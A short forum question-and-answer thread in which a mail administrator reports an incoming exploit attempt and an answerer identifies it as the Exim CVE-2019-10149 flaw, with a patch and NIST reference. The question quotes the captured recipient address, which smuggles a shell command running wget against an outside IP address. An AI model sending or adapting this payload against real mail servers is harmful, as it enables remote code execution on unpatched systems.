caught email exploit attempt -- info requested -- mail to root+${...}@host

Question

I received an email to the address below that is an apparent exploit attempt. Does anyone have details about the specific exploit so I can make sure I am patched/not exposed:

root+${run{x2fbinx2fsht-ctx22wgetx2065.181.120.163x2fstfinracux22}}@mymailserver.example.com

score 0 · Answer 1 · answered Jun 25 '19 at 22:55

0

This appears to be an attempt to exploit the recent Exim MTA Vulnerability, CVE-2019-10149.

There is a patch for Exim4 to address this issue.

NIST Reference:

https://nvd.nist.gov/vuln/detail/CVE-2019-10149

answered Jun 25 '19 at 22:55

AbsoZed

61
4

caught email exploit attempt -- info requested -- mail to root+${...}@host

1 Answers1